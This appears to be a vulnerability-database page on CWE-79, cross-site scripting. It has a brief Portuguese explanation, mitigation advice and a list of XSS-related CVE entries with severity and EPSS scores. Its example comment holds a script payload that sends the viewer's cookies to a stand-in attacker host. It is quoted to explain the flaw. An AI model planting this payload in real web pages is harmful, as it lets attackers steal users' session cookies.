Fallos del tipo CWE-79

30.494 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-3742MEDIUMYiFang CMS D_singlePage.php update cross site scriptingEPSS 0.2%CVE-2026-27177MEDIUMMajorDoMo Stored Cross-Site Scripting via Property Set EndpointEPSS 0.2%CVE-2021-29669MEDIUMIBM Jazz Foundation cross-site scriptingEPSS 0.2%CVE-2021-47873MEDIUMVestaCP < 0.9.8-25 - Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-53569MEDIUMA stored cross-site scripting (XSS) vulnerability in the New Goal Creation section of Volmarg Personal Management System v1.4.65 allows authEPSS 0.2%CVE-2026-92411MEDIUMWP Delicious < 1.10.8 - Contributor+ Stored XSS via Recipe Block Tag NameEPSS 0.2%CVE-2025-52486MEDIUMDNN.PLATFORM Allows Reflected Cross-Site Scripting (XSS) in some TokenReplace situations with SkinObjectsEPSS 0.2%CVE-2025-28094MEDIUMshopxo v6.4.0 has a ssrf/xss vulnerability in multiple places.EPSS 0.2%CVE-2026-3468MEDIUMA stored Cross-Site Scripting (XSS) vulnerability has been identified in the SonicWall Email Security appliance due to improper neutralizatiEPSS 0.2%CVE-2026-87777MEDIUMHostinger Reach 1.0.6 - 1.8.2 - Contributor+ Stored XSS via formId Elementor Widget AttributeEPSS 0.2%CVE-2026-0587MEDIUMXinhu Rainrock RockOA Cover Image rock_page_gong.php cross site scriptingEPSS 0.2%CVE-2026-85001MEDIUMEmbedPress 4.4.9 - 4.6.6 - Contributor+ Stored XSS via Elementor Widget showTitle AttributeEPSS 0.2%CVE-2024-53568MEDIUMA stored cross-site scripting (XSS) vulnerability in the Image Upload section of Volmarg Personal Management System v1.4.65 allows authenticEPSS 0.2%CVE-2025-50976MEDIUMIPFire 2.29 DNS management interface (dns.cgi) fails to properly sanitize user-supplied input in the NAMESERVER, REMARK, and TLS_HOSTNAME quEPSS 0.2%CVE-2025-60302MEDIUMcode-projects Client Details System 1.0 is vulnerable to Cross Site Scripting (XSS). When adding customer information, the client details syEPSS 0.2%CVE-2025-57681MEDIUMThe WorklogPRO - Timesheets for Jira plugin in Jira Data Center before version 4.23.6-jira10 and before version 4.23.5-jira9 allows users anEPSS 0.2%CVE-2025-26548HIGHWordPress Random Image Selector plugin <= 1.5.6 - Reflected Cross-Site Scripting vulnerabilityEPSS 0.2%CVE-2025-60304MEDIUMcode-projects Simple Scheduling System 1.0 is vulnerable to Cross Site Scripting (XSS) via the Subject Description field.EPSS 0.2%CVE-2025-34262MEDIUMAdvantech WISE-DeviceOn Server < 5.4 Authenticated Stored XSS via devices/name/{agent_id}EPSS 0.2%CVE-2025-53205HIGHWordPress Radio Player Shoutcast & Icecast <= 4.4.7 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%